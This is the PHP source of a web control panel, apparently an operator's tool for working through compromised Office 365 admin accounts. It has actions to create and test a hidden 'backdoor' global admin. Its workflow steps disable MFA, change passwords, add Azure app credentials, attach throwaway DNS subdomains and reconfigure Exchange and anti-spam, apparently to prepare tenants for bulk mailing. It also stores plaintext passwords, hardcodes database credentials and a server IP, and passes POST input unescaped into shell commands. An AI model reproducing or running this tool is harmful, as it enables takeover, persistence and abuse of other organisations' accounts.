470 lines
36 KiB
Plaintext
Executable File
470 lines
36 KiB
Plaintext
Executable File
<?php
|
|
$config = ['vnc_host'=>'89.167.40.150','vnc_port'=>5900,'novnc_port'=>6080,'scripts_dir'=>'/opt/wevads/scripts/office365','data_dir'=>'/opt/wevads/storage/office365'];
|
|
$db = ['host'=>'localhost','port'=>'5432','dbname'=>'adx_system','user'=>'admin','password'=>'admin123'];
|
|
@mkdir($config['scripts_dir'],0755,true);@mkdir($config['data_dir'],0755,true);@mkdir($config['data_dir'].'/backups',0755,true);
|
|
|
|
function getDB(){global $db;try{return new PDO("pgsql:host={$db['host']};port={$db['port']};dbname={$db['dbname']}",$db['user'],$db['password'],[PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION]);}catch(Exception $e){return null;}}
|
|
function getAccounts(){$p=getDB();if(!$p)return[];try{return $p->query("SELECT * FROM admin.office_accounts ORDER BY name")->fetchAll(PDO::FETCH_ASSOC);}catch(Exception $e){return[];}}
|
|
function getAccount($id){$p=getDB();if(!$p)return null;$s=$p->prepare("SELECT * FROM admin.office_accounts WHERE id=?");$s->execute([$id]);return $s->fetch(PDO::FETCH_ASSOC);}
|
|
|
|
if($_SERVER['REQUEST_METHOD']==='POST'){
|
|
header('Content-Type:application/json');
|
|
$action=$_POST['action']??'';
|
|
switch($action){
|
|
case'check_services':$sv=['xvfb'=>['running'=>trim(shell_exec('pgrep -x Xvfb'))!=''],'vnc'=>['running'=>trim(shell_exec('pgrep -x x11vnc'))!=''],'novnc'=>['running'=>trim(shell_exec('pgrep -f websockify'))!=''],'chrome'=>['running'=>trim(shell_exec('pgrep -f chrome'))!=''],'pwsh'=>['running'=>trim(shell_exec('pgrep -f pwsh'))!='']];echo json_encode(['success'=>true,'services'=>$sv]);exit;
|
|
case'start_vnc':shell_exec('bash /opt/wevads/scripts/start-vnc.sh > /dev/null 2>&1 &');sleep(3);echo json_encode(['success'=>true,'message'=>'VNC started']);exit;
|
|
case'start_browser':$url=$_POST['url']??'https://portal.azure.com';shell_exec("DISPLAY=:99 google-chrome --no-sandbox --disable-gpu '$url' > /dev/null 2>&1 &");echo json_encode(['success'=>true,'message'=>'Browser started']);exit;
|
|
|
|
case'prepare_account':
|
|
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
|
|
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
|
|
$csv=$acc['admin_email'].','.$acc['admin_password'];
|
|
file_put_contents($config['data_dir'].'/khalil.csv',$csv);
|
|
file_put_contents($config['data_dir'].'/current_account_id.txt',$aid);
|
|
file_put_contents($config['data_dir'].'/current_account.json',json_encode($acc,JSON_PRETTY_PRINT));
|
|
file_put_contents($config['data_dir'].'/current_account.json',json_encode($acc,JSON_PRETTY_PRINT));
|
|
echo json_encode(['success'=>true,'message'=>'Compte préparé: '.$acc['admin_email'],'email'=>$acc['admin_email'],'has_password'=>!empty($acc['admin_password'])]);
|
|
exit;
|
|
|
|
case'backup_account':
|
|
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
|
|
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
|
|
$backupDir=$config['data_dir'].'/backups';
|
|
$filename=$backupDir.'/backup_'.$acc['name'].'_'.date('Y-m-d_His').'.json';
|
|
file_put_contents($filename,json_encode($acc,JSON_PRETTY_PRINT));
|
|
$backups=glob($backupDir.'/backup_'.$acc['name'].'_*.json');
|
|
echo json_encode(['success'=>true,'message'=>'Backup créé','file'=>basename($filename),'total_backups'=>count($backups)]);
|
|
exit;
|
|
|
|
case'list_backups':
|
|
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
|
|
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
|
|
$backupDir=$config['data_dir'].'/backups';
|
|
$backups=glob($backupDir.'/backup_'.$acc['name'].'_*.json');
|
|
$list=[];foreach($backups as $b){$list[]=['file'=>basename($b),'size'=>filesize($b),'date'=>date('Y-m-d H:i:s',filemtime($b))];}
|
|
usort($list,fn($a,$b)=>$b['date']<=>$a['date']);
|
|
echo json_encode(['success'=>true,'backups'=>$list]);
|
|
exit;
|
|
|
|
case'restore_backup':
|
|
$aid=intval($_POST['account_id']??0);$file=$_POST['file']??'';$acc=getAccount($aid);
|
|
if(!$acc||!$file){echo json_encode(['success'=>false,'message'=>'Paramètres manquants']);exit;}
|
|
$filepath=$config['data_dir'].'/backups/'.$file;
|
|
if(!file_exists($filepath)){echo json_encode(['success'=>false,'message'=>'Backup non trouvé']);exit;}
|
|
$data=json_decode(file_get_contents($filepath),true);
|
|
if(!$data){echo json_encode(['success'=>false,'message'=>'Backup corrompu']);exit;}
|
|
$p=getDB();$fields=['status','current_step','licence_status','blocked_status','mfa_status','domains_count','exchange_configured','antispam_configured'];
|
|
foreach($fields as $f){if(isset($data[$f])){$p->prepare("UPDATE admin.office_accounts SET $f=? WHERE id=?")->execute([$data[$f],$aid]);}}
|
|
echo json_encode(['success'=>true,'message'=>'Backup restauré']);
|
|
exit;
|
|
|
|
// NOUVEAU: Créer Backdoor Admin
|
|
case'create_backdoor':
|
|
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
|
|
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
|
|
if(empty($acc['admin_password'])){echo json_encode(['success'=>false,'message'=>'Mot de passe admin manquant']);exit;}
|
|
|
|
// Préparer les fichiers pour le script
|
|
$csv=$acc['admin_email'].','.$acc['admin_password'];
|
|
file_put_contents($config['data_dir'].'/khalil.csv',$csv);
|
|
file_put_contents($config['data_dir'].'/current_account_id.txt',$aid);
|
|
file_put_contents($config['data_dir'].'/current_account.json',json_encode($acc,JSON_PRETTY_PRINT));
|
|
|
|
// Exécuter le script PowerShell
|
|
$cmd='timeout 90 pwsh '.$config['scripts_dir'].'/create_backdoor_admin.ps1 2>&1';
|
|
$output=shell_exec($cmd);
|
|
|
|
// Parser le résultat pour extraire email/password
|
|
$backdoorEmail='';$backdoorPassword='';
|
|
if(preg_match('/Email:\s+(\S+@\S+)/',$output,$m))$backdoorEmail=$m[1];
|
|
if(preg_match('/Password:\s+(\S+)/',$output,$m))$backdoorPassword=$m[1];
|
|
|
|
// Mettre à jour la DB si succès
|
|
if($backdoorEmail && $backdoorPassword){
|
|
$p=getDB();
|
|
$p->prepare("UPDATE admin.office_accounts SET backdoor_email=?, backdoor_password=?, backdoor_created=NOW() WHERE id=?")->execute([$backdoorEmail,$backdoorPassword,$aid]);
|
|
// Ajouter aussi comme nouveau compte
|
|
$tenant = $acc['tenant_domain'] ?? explode('@',$backdoorEmail)[1] ?? '';
|
|
$backdoorName = 'backdoor_' . ($acc['name'] ?? 'account') . '_' . substr(md5($backdoorEmail),0,4);
|
|
$p->prepare("INSERT INTO admin.office_accounts (name, admin_email, admin_password, tenant_domain, status, source) VALUES (?, ?, ?, ?, 'Active', 'Backdoor') ON CONFLICT (admin_email) DO UPDATE SET admin_password=EXCLUDED.admin_password")->execute([$backdoorName, $backdoorEmail, $backdoorPassword, $tenant]);
|
|
echo json_encode(['success'=>true,'message'=>'Backdoor créé!','email'=>$backdoorEmail,'password'=>$backdoorPassword,'output'=>$output]);
|
|
}else{
|
|
echo json_encode(['success'=>false,'message'=>'Échec création backdoor','output'=>$output]);
|
|
}
|
|
exit;
|
|
|
|
// NOUVEAU: Tester Backdoor
|
|
case'test_backdoor':
|
|
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
|
|
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
|
|
if(empty($acc['backdoor_email'])||empty($acc['backdoor_password'])){
|
|
echo json_encode(['success'=>false,'message'=>'Pas de backdoor configuré']);exit;
|
|
}
|
|
|
|
$tenant=$acc['tenant_domain']??str_replace('@','',strstr($acc['admin_email'],'@'));
|
|
|
|
// Test via PowerShell (plus fiable)
|
|
$testScript='
|
|
$body = @{
|
|
grant_type = "password"
|
|
client_id = "1b730954-1685-4b74-9bfd-dac224a7b894"
|
|
username = "'.$acc['backdoor_email'].'"
|
|
password = "'.$acc['backdoor_password'].'"
|
|
scope = "https://graph.microsoft.com/.default"
|
|
}
|
|
try {
|
|
$r = Invoke-RestMethod -Uri "https://login.microsoftonline.com/'.$tenant.'/oauth2/v2.0/token" -Method Post -Body $body
|
|
Write-Output "OK"
|
|
} catch {
|
|
Write-Output "FAIL"
|
|
}';
|
|
$result=trim(shell_exec("pwsh -c '".$testScript."' 2>&1"));
|
|
|
|
if($result=='OK'){
|
|
echo json_encode(['success'=>true,'message'=>'✅ Backdoor fonctionne!','email'=>$acc['backdoor_email']]);
|
|
}else{
|
|
echo json_encode(['success'=>false,'message'=>'❌ Backdoor ne fonctionne pas','result'=>$result]);
|
|
}
|
|
exit;
|
|
|
|
case'run_step':
|
|
$step=intval($_POST['step']??0);$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
|
|
if($acc){file_put_contents($config['data_dir'].'/khalil.csv',$acc['admin_email'].','.$acc['admin_password']);file_put_contents($config['data_dir'].'/current_account_id.txt',$aid);}
|
|
$scripts=[1=>['cmd'=>'bash '.$config['scripts_dir'].'/test_licence_o365.sh'],2=>['cmd'=>'pwsh '.$config['scripts_dir'].'/check_office_blocked.ps1'],3=>['cmd'=>'DISPLAY=:99 python3 '.$config['scripts_dir'].'/freedns.py'],4=>['cmd'=>'pwsh '.$config['scripts_dir'].'/Add_cred.ps1'],5=>['cmd'=>'DISPLAY=:99 python3 '.$config['scripts_dir'].'/khalil.py'],6=>['cmd'=>'pwsh '.$config['scripts_dir'].'/shell_auto.ps1'],7=>['cmd'=>'pwsh '.$config['scripts_dir'].'/config_anti_spam.ps1'],8=>['cmd'=>'echo "✅ COMPTE PRÊT!"']];
|
|
if(isset($scripts[$step])){$out=shell_exec($scripts[$step]['cmd'].' 2>&1');$p=getDB();if($p&&$aid){$p->prepare("UPDATE admin.office_accounts SET current_step=?,last_update=NOW() WHERE id=?")->execute([$step,$aid]);}if($step==8&&$aid){$p->prepare("UPDATE admin.office_accounts SET status='Ready' WHERE id=?")->execute([$aid]);}echo json_encode(['success'=>true,'step'=>$step,'output'=>$out]);}else{echo json_encode(['success'=>false]);}exit;
|
|
case'kill_all':shell_exec('pkill -9 chrome;pkill -9 pwsh;pkill -9 python3');echo json_encode(['success'=>true]);exit;
|
|
}exit;
|
|
}
|
|
$accounts=getAccounts();$selectedId=$_GET['account_id']??0;$selectedAccount=$selectedId?getAccount($selectedId):null;
|
|
$steps=[
|
|
1=>['name'=>'Test Password','icon'=>'fa-key','color'=>'#3b82f6','desc'=>'OAuth auth','script'=>'','type'=>'pwsh'],
|
|
2=>['name'=>'Test MFA','icon'=>'fa-shield-alt','color'=>'#3b82f6','desc'=>'Check MFA','script'=>'','type'=>'pwsh'],
|
|
3=>['name'=>'Disable MFA','icon'=>'fa-unlock','color'=>'#3b82f6','desc'=>'Security Defaults','script'=>'','type'=>'pwsh'],
|
|
4=>['name'=>'Change Password','icon'=>'fa-sync','color'=>'#3b82f6','desc'=>'New pwd','script'=>'','type'=>'pwsh'],
|
|
5=>['name'=>'Test SMTP','icon'=>'fa-envelope','color'=>'#8b5cf6','desc'=>'Port 587','script'=>'test_licence_o365.sh','type'=>'bash'],
|
|
6=>['name'=>'SMTP Auth','icon'=>'fa-check','color'=>'#8b5cf6','desc'=>'Auth check','script'=>'','type'=>'pwsh'],
|
|
7=>['name'=>'Check Blocked','icon'=>'fa-ban','color'=>'#8b5cf6','desc'=>'Status','script'=>'check_office_blocked.ps1','type'=>'pwsh'],
|
|
8=>['name'=>'MFA Final','icon'=>'fa-clipboard-check','color'=>'#8b5cf6','desc'=>'Final check','script'=>'','type'=>'pwsh'],
|
|
9=>['name'=>'Check Domains','icon'=>'fa-list','color'=>'#10b981','desc'=>'List verified','script'=>'check_domains.ps1','type'=>'pwsh'],
|
|
10=>['name'=>'Cloudflare DNS','icon'=>'fa-cloud','color'=>'#10b981','desc'=>'5 subdomains','script'=>'cloudflare_domains.py','type'=>'python'],
|
|
11=>['name'=>'FreeDNS','icon'=>'fa-globe','color'=>'#10b981','desc'=>'5 subdomains','script'=>'freedns.py','type'=>'python'],
|
|
12=>['name'=>'Azure App','icon'=>'fa-key','color'=>'#f59e0b','desc'=>'Credentials','script'=>'Add_cred.ps1','type'=>'pwsh'],
|
|
13=>['name'=>'Verify Domains','icon'=>'fa-search','color'=>'#f59e0b','desc'=>'O365 check','script'=>'khalil.py','type'=>'python'],
|
|
14=>['name'=>'Exchange Config','icon'=>'fa-server','color'=>'#f59e0b','desc'=>'Configure','script'=>'shell_auto.ps1','type'=>'pwsh'],
|
|
15=>['name'=>'Anti-Spam','icon'=>'fa-filter','color'=>'#f59e0b','desc'=>'15 rules','script'=>'config_anti_spam.ps1','type'=>'pwsh'],
|
|
16=>['name'=>'Finalization','icon'=>'fa-flag-checkered','color'=>'#22c55e','desc'=>'Ready','script'=>'','type'=>'']
|
|
];
|
|
?>
|
|
<!DOCTYPE html>
|
|
<html lang="fr">
|
|
<head>
|
|
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>Office 365 Workflow - WEVADS</title>
|
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--primary:#4f46e5;--primary-light:#6366f1;--bg:#f1f5f9;--card:#ffffff;--card-border:#e2e8f0;--text:#1e293b;--text-muted:#64748b;--success:#059669;--danger:#dc2626;--warning:#d97706;--info:#2563eb}
|
|
*{margin:0;padding:0;box-sizing:border-box}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh}
|
|
.header{background:linear-gradient(135deg,#4f46e5 0%,#7c3aed 100%);padding:16px 24px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 4px 20px rgba(79,70,229,0.3)}
|
|
.header h1{font-size:1.4rem;font-weight:700;color:white;display:flex;align-items:center;gap:12px}
|
|
.container{display:grid;grid-template-columns:420px 1fr 500px;gap:20px;padding:20px;height:calc(100vh - 72px)}
|
|
.panel{background:var(--card);border-radius:16px;border:1px solid var(--card-border);overflow:hidden;display:flex;flex-direction:column;box-shadow:0 4px 12px rgba(0,0,0,0.05)}
|
|
.panel-header{background:linear-gradient(135deg,#f8fafc,#f1f5f9);padding:16px 20px;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--card-border)}
|
|
.panel-header h3{font-size:15px;font-weight:600;display:flex;align-items:center;gap:10px}
|
|
.panel-header h3 i{color:var(--primary)}
|
|
.panel-body{padding:20px;flex:1;overflow-y:auto}
|
|
.account-selector select{width:100%;padding:14px 16px;background:white;border:2px solid var(--card-border);border-radius:12px;color:var(--text);font-size:14px;font-weight:500;margin-bottom:16px;cursor:pointer}
|
|
.account-selector select:focus{outline:none;border-color:var(--primary);box-shadow:0 0 0 4px rgba(79,70,229,0.1)}
|
|
.account-actions{display:grid;grid-template-columns:1fr 1fr;gap:10px;margin-bottom:16px}
|
|
.action-btn{padding:12px;background:linear-gradient(135deg,#f0f9ff,#e0f2fe);border:2px solid #bae6fd;border-radius:10px;cursor:pointer;text-align:center;transition:all 0.2s;font-size:11px;font-weight:600;color:#0369a1}
|
|
.action-btn:hover{transform:translateY(-2px);box-shadow:0 4px 12px rgba(3,105,161,0.2);border-color:#0ea5e9}
|
|
.action-btn i{display:block;font-size:18px;margin-bottom:6px;color:#0284c7}
|
|
.action-btn.danger{background:linear-gradient(135deg,#fef2f2,#fee2e2);border-color:#fecaca;color:#dc2626}
|
|
.action-btn.danger i{color:#dc2626}
|
|
.action-btn.success{background:linear-gradient(135deg,#ecfdf5,#d1fae5);border-color:#a7f3d0;color:#059669}
|
|
.action-btn.success i{color:#059669}
|
|
.action-btn.warning{background:linear-gradient(135deg,#fffbeb,#fef3c7);border-color:#fde68a;color:#d97706}
|
|
.action-btn.warning i{color:#d97706}
|
|
.account-card{background:linear-gradient(135deg,#f0f9ff,#e0f2fe);border-radius:14px;padding:18px;margin-bottom:16px;border:1px solid #bae6fd}
|
|
.account-card h4{color:var(--primary);margin-bottom:14px;font-size:15px;font-weight:600;display:flex;align-items:center;gap:10px}
|
|
.account-info{display:grid;gap:8px}
|
|
.account-info .row{display:flex;justify-content:space-between;font-size:12px;padding:8px 12px;background:white;border-radius:8px;border:1px solid #e0f2fe}
|
|
.account-info .label{color:var(--text-muted);font-weight:500}
|
|
.account-info .value{color:var(--text);font-family:monospace;font-size:11px;font-weight:600}
|
|
.value.ok{color:var(--success)}.value.ko{color:var(--danger)}.value.warning{color:var(--warning)}
|
|
.backdoor-card{background:linear-gradient(135deg,#fef2f2,#fee2e2);border-radius:14px;padding:16px;margin-bottom:16px;border:1px solid #fecaca}
|
|
.backdoor-card h4{color:#dc2626;margin-bottom:12px;font-size:14px;font-weight:600;display:flex;align-items:center;gap:8px}
|
|
.backdoor-card .row{display:flex;justify-content:space-between;font-size:11px;padding:6px 10px;background:white;border-radius:6px;margin-bottom:6px}
|
|
.progress-container{margin:16px 0}
|
|
.progress-label{display:flex;justify-content:space-between;font-size:12px;margin-bottom:6px;color:var(--text-muted)}
|
|
.progress-bar{height:8px;background:#e2e8f0;border-radius:4px;overflow:hidden}
|
|
.progress-fill{height:100%;background:linear-gradient(90deg,var(--primary),#7c3aed);border-radius:4px;transition:width 0.3s}
|
|
.results-grid{display:grid;grid-template-columns:1fr 1fr 1fr;gap:8px;margin-bottom:16px}
|
|
.result-card{background:#f8fafc;border-radius:8px;padding:10px;border:1px solid var(--card-border);text-align:center}
|
|
.result-card .label{font-size:10px;color:var(--text-muted);font-weight:500;margin-bottom:4px;display:block}
|
|
.result-badge{padding:3px 8px;border-radius:5px;font-size:10px;font-weight:700}
|
|
.result-badge.success{background:#d1fae5;color:#059669}
|
|
.result-badge.error{background:#fee2e2;color:#dc2626}
|
|
.result-badge.pending{background:#f1f5f9;color:#64748b}
|
|
.section-title{font-size:12px;font-weight:700;color:var(--text);margin:16px 0 12px;display:flex;align-items:center;gap:8px}
|
|
.section-title i{color:var(--primary)}
|
|
.workflow-step{background:#f8fafc;border-radius:10px;margin-bottom:8px;border:2px solid var(--card-border);transition:all 0.2s}
|
|
.workflow-step:hover{border-color:var(--primary-light);transform:translateY(-1px)}
|
|
.workflow-step.active{border-color:var(--primary);background:linear-gradient(135deg,#eef2ff,#e0e7ff)}
|
|
.workflow-step.completed{border-color:var(--success);background:#ecfdf5}
|
|
.workflow-step.completed .step-icon{background:var(--success)!important;color:white!important}
|
|
.step-header{padding:12px 14px;display:flex;align-items:center;gap:10px}
|
|
.step-icon{width:36px;height:36px;border-radius:8px;display:flex;align-items:center;justify-content:center;font-size:13px}
|
|
.step-content{flex:1}
|
|
.step-content h4{font-size:12px;font-weight:600;margin-bottom:2px;display:flex;align-items:center;gap:6px}
|
|
.step-content .desc{font-size:10px;color:var(--text-muted)}
|
|
.step-run{width:36px;height:36px;background:var(--primary);color:white;border:none;border-radius:8px;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:all 0.2s}
|
|
.step-run:hover{background:var(--primary-light);transform:scale(1.05)}
|
|
.step-run:disabled{opacity:0.3;cursor:not-allowed;transform:none}
|
|
.type-badge{font-size:8px;padding:2px 6px;border-radius:4px;font-weight:700;text-transform:uppercase}
|
|
.type-bash{background:#d1fae5;color:#059669}
|
|
.type-pwsh{background:#dbeafe;color:#2563eb}
|
|
.type-python{background:#fef3c7;color:#d97706}
|
|
.vnc-container{background:#1e293b;border-radius:12px;height:100%;min-height:300px;overflow:hidden}
|
|
.vnc-container iframe{width:100%;height:100%;border:none}
|
|
.quick-actions{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin-bottom:12px}
|
|
.quick-btn{padding:12px 8px;background:white;border:2px solid var(--card-border);border-radius:10px;text-align:center;cursor:pointer;transition:all 0.2s}
|
|
.quick-btn:hover{border-color:var(--primary);background:#f0f9ff;transform:translateY(-2px)}
|
|
.quick-btn i{font-size:20px;display:block;margin-bottom:6px;color:var(--primary)}
|
|
.quick-btn span{font-size:9px;color:var(--text-muted);font-weight:600}
|
|
.console-container{background:white;border-radius:12px;border:1px solid var(--card-border);overflow:hidden;height:100%;display:flex;flex-direction:column}
|
|
.console-header{background:linear-gradient(135deg,#1e293b,#334155);padding:12px 16px;display:flex;justify-content:space-between;align-items:center}
|
|
.console-header span{font-size:12px;font-weight:600;color:white;display:flex;align-items:center;gap:8px}
|
|
.console-header span i{color:#22c55e}
|
|
.console{flex:1;padding:14px;font-family:monospace;font-size:14px;overflow-y:auto;line-height:1.7;background:#0f172a;color:#e2e8f0}
|
|
.console .time{color:#a78bfa;font-weight:600}
|
|
.console .info{color:#60a5fa}.console .success{color:#34d399}.console .error{color:#f87171}.console .warning{color:#fbbf24}
|
|
.status-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin-bottom:12px}
|
|
.status-card{background:white;border-radius:10px;padding:12px 8px;text-align:center;border:2px solid var(--card-border)}
|
|
.status-card.running{border-color:var(--success);background:#ecfdf5}
|
|
.status-card.running .status-dot{background:var(--success);box-shadow:0 0 8px var(--success)}
|
|
.status-card i{font-size:18px;color:var(--primary);margin-bottom:6px;display:block}
|
|
.status-card h4{font-size:9px;color:var(--text-muted);margin-bottom:6px;font-weight:600}
|
|
.status-dot{width:8px;height:8px;border-radius:50%;margin:0 auto;background:#cbd5e1}
|
|
.btn{padding:8px 16px;border:none;border-radius:8px;cursor:pointer;font-size:12px;font-weight:600;display:inline-flex;align-items:center;gap:6px;transition:all 0.2s}
|
|
.btn:hover{transform:translateY(-1px)}
|
|
.btn-primary{background:var(--primary);color:white}
|
|
.btn-success{background:var(--success);color:white}
|
|
.btn-danger{background:var(--danger);color:white}
|
|
.btn-group{display:flex;gap:8px}
|
|
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000;align-items:center;justify-content:center}
|
|
.modal.active{display:flex}
|
|
.modal-content{background:white;border-radius:16px;padding:24px;max-width:500px;width:90%;max-height:80vh;overflow-y:auto}
|
|
.modal-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:20px}
|
|
.modal-header h3{font-size:18px;font-weight:700}
|
|
.modal-close{background:none;border:none;font-size:24px;cursor:pointer;color:var(--text-muted)}
|
|
.backup-item{display:flex;justify-content:space-between;align-items:center;padding:12px;background:#f8fafc;border-radius:10px;margin-bottom:10px;border:1px solid var(--card-border)}
|
|
::-webkit-scrollbar{width:6px}
|
|
::-webkit-scrollbar-track{background:#f1f5f9}
|
|
::-webkit-scrollbar-thumb{background:#cbd5e1;border-radius:3px}
|
|
.search-box{margin-bottom:10px}.search-box input{width:100%;padding:10px;border:2px solid #e2e8f0;border-radius:8px;font-size:13px}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="header">
|
|
<h1><i class="fab fa-microsoft"></i> Office 365 Workflow</h1>
|
|
<div class="btn-group">
|
|
<button class="btn btn-success" onclick="startVNC()"><i class="fa fa-play"></i> VNC</button>
|
|
<button class="btn btn-danger" onclick="killAll()"><i class="fa fa-stop"></i> Stop</button>
|
|
<a href="office-management.php" class="btn btn-primary"><i class="fa fa-list"></i> Comptes</a>
|
|
</div>
|
|
</div>
|
|
<div class="container">
|
|
<div class="panel">
|
|
<div class="panel-header"><h3><i class="fa fa-user-circle"></i> Compte Office 365</h3></div>
|
|
<div class="panel-body">
|
|
<div class="account-selector">
|
|
<select id="accountSelect" onchange="selectAccount(this.value)">
|
|
<option value="">— Sélectionner un compte —</option>
|
|
<?php foreach($accounts as $acc):?><option value="<?=$acc['id']?>" <?=$selectedId==$acc['id']?'selected':''?>><?=htmlspecialchars($acc['name']??$acc['admin_email'])?> (<?=$acc['status']??'?'?>)</option><?php endforeach;?>
|
|
</select>
|
|
</div>
|
|
|
|
<?php if($selectedAccount):?>
|
|
<div class="account-actions">
|
|
<div class="action-btn success" onclick="prepareAccount()"><i class="fa fa-download"></i>Charger Credentials</div>
|
|
<div class="action-btn" onclick="createBackup()"><i class="fa fa-save"></i>Créer Backup</div>
|
|
<div class="action-btn danger" onclick="createBackdoor()"><i class="fa fa-user-secret"></i>Créer Backdoor</div>
|
|
<div class="action-btn warning" onclick="testBackdoor()"><i class="fa fa-vial"></i>Tester Backdoor</div>
|
|
</div>
|
|
|
|
<div class="account-card">
|
|
<h4><i class="fa fa-id-badge"></i> <?=htmlspecialchars($selectedAccount['name']??'N/A')?></h4>
|
|
<div class="account-info">
|
|
<div class="row"><span class="label">Email</span><span class="value"><?=htmlspecialchars($selectedAccount['admin_email']??'')?></span></div>
|
|
<div class="row"><span class="label">Password</span><span class="value"><?=htmlspecialchars($selectedAccount['admin_password']??'❌ MANQUANT')?></span></div>
|
|
<div class="row"><span class="label">Status</span><span class="value <?=($selectedAccount['status']??'')=='Ready'?'ok':(($selectedAccount['status']??'')=='Blocked'?'ko':'warning')?>"><?=htmlspecialchars($selectedAccount['status']??'Pending')?></span></div>
|
|
</div>
|
|
</div>
|
|
|
|
<?php if(!empty($selectedAccount['backdoor_email'])):?>
|
|
<div class="backdoor-card">
|
|
<h4><i class="fa fa-user-secret"></i> Backdoor Admin</h4>
|
|
<div class="row"><span class="label">Email</span><span class="value"><?=htmlspecialchars($selectedAccount['backdoor_email'])?></span></div>
|
|
<div class="row"><span class="label">Password</span><span class="value"><?=htmlspecialchars($selectedAccount['backdoor_password'])?></span></div>
|
|
<div class="row"><span class="label">Créé</span><span class="value"><?=htmlspecialchars($selectedAccount['backdoor_created']??'N/A')?></span></div>
|
|
</div>
|
|
<?php endif;?>
|
|
|
|
<div class="progress-container">
|
|
<div class="progress-label"><span>Progression</span><span><?=$selectedAccount['current_step']??0?>/16</span></div>
|
|
<div class="progress-bar"><div class="progress-fill" style="width:<?=(($selectedAccount['current_step']??0)/16)*100?>%"></div></div>
|
|
</div>
|
|
<div class="results-grid">
|
|
<div class="result-card"><span class="label">Licence</span><span class="result-badge <?=($selectedAccount['licence_status']??'')?($selectedAccount['licence_status']=='OK'?'success':'error'):'pending'?>"><?=$selectedAccount['licence_status']??'—'?></span></div>
|
|
<div class="result-card"><span class="label">Blocked</span><span class="result-badge <?=($selectedAccount['blocked_status']??'')?($selectedAccount['blocked_status']=='OK'?'success':'error'):'pending'?>"><?=$selectedAccount['blocked_status']??'—'?></span></div>
|
|
<div class="result-card"><span class="label">MFA</span><span class="result-badge <?=($selectedAccount['mfa_status']??'')?($selectedAccount['mfa_status']=='Disabled'?'success':'error'):'pending'?>"><?=$selectedAccount['mfa_status']??'—'?></span></div>
|
|
<div class="result-card"><span class="label">Domaines</span><span class="result-badge <?=($selectedAccount['domains_count']??0)>0?'success':'pending'?>"><?=$selectedAccount['domains_count']??0?></span></div>
|
|
<div class="result-card"><span class="label">Exchange</span><span class="result-badge <?=($selectedAccount['exchange_configured']??false)?'success':'pending'?>"><?=($selectedAccount['exchange_configured']??false)?'OK':'—'?></span></div>
|
|
<div class="result-card"><span class="label">Anti-Spam</span><span class="result-badge <?=($selectedAccount['antispam_configured']??false)?'success':'pending'?>"><?=($selectedAccount['antispam_configured']??false)?'OK':'—'?></span></div>
|
|
</div>
|
|
<?php endif;?>
|
|
|
|
<div class="section-title"><i class="fa fa-tasks"></i> Workflow (16 étapes)</div>
|
|
<?php foreach($steps as $num=>$step):$isActive=$selectedAccount&&($selectedAccount['current_step']??0)==$num;$isCompleted=$selectedAccount&&($selectedAccount['current_step']??0)>$num;?>
|
|
<div class="workflow-step <?=$isActive?'active':''?> <?=$isCompleted?'completed':''?>">
|
|
<div class="step-header">
|
|
<div class="step-icon" style="background:<?=$step['color']?>22;color:<?=$step['color']?>"><?=$isCompleted?'<i class="fa fa-check"></i>':'<i class="fa '.$step['icon'].'"></i>'?></div>
|
|
<div class="step-content">
|
|
<h4><?=$num?>. <?=$step['name']?><?php if($step['type']):?><span class="type-badge type-<?=$step['type']?>"><?=$step['type']?></span><?php endif;?></h4>
|
|
<div class="desc"><?=$step['desc']?></div>
|
|
</div>
|
|
<button class="step-run" onclick="runStep(<?=$num?>)" <?=!$selectedAccount?'disabled':''?>><i class="fa fa-play"></i></button>
|
|
</div>
|
|
</div>
|
|
<?php endforeach;?>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="panel">
|
|
<div class="panel-header"><h3><i class="fa fa-desktop"></i> VNC Remote Desktop</h3>
|
|
<div class="btn-group"><button class="btn btn-success" onclick="startVNC()" style="padding:6px 12px"><i class="fa fa-play"></i></button><button class="btn btn-primary" onclick="refreshVNC()" style="padding:6px 12px"><i class="fa fa-sync"></i></button></div>
|
|
</div>
|
|
<div class="panel-body" style="padding:12px">
|
|
<div class="quick-actions">
|
|
<div class="quick-btn" onclick="launch('https://portal.azure.com')"><i class="fab fa-microsoft"></i><span>Azure</span></div>
|
|
<div class="quick-btn" onclick="launch('https://admin.microsoft.com')"><i class="fa fa-cog"></i><span>Admin</span></div>
|
|
<div class="quick-btn" onclick="launch('https://outlook.office365.com')"><i class="fa fa-envelope"></i><span>Outlook</span></div>
|
|
<div class="quick-btn" onclick="launch('https://freedns.afraid.org')"><i class="fa fa-globe"></i><span>FreeDNS</span></div>
|
|
<div class="quick-btn" onclick="launch('https://admin.exchange.microsoft.com')"><i class="fa fa-server"></i><span>Exchange</span></div>
|
|
</div>
|
|
<div class="vnc-container" id="vncContainer"><iframe src="http://<?=$config['vnc_host']?>:<?=$config['novnc_port']?>/vnc.html?autoconnect=true&resize=scale"></iframe></div>
|
|
</div>
|
|
</div>
|
|
|
|
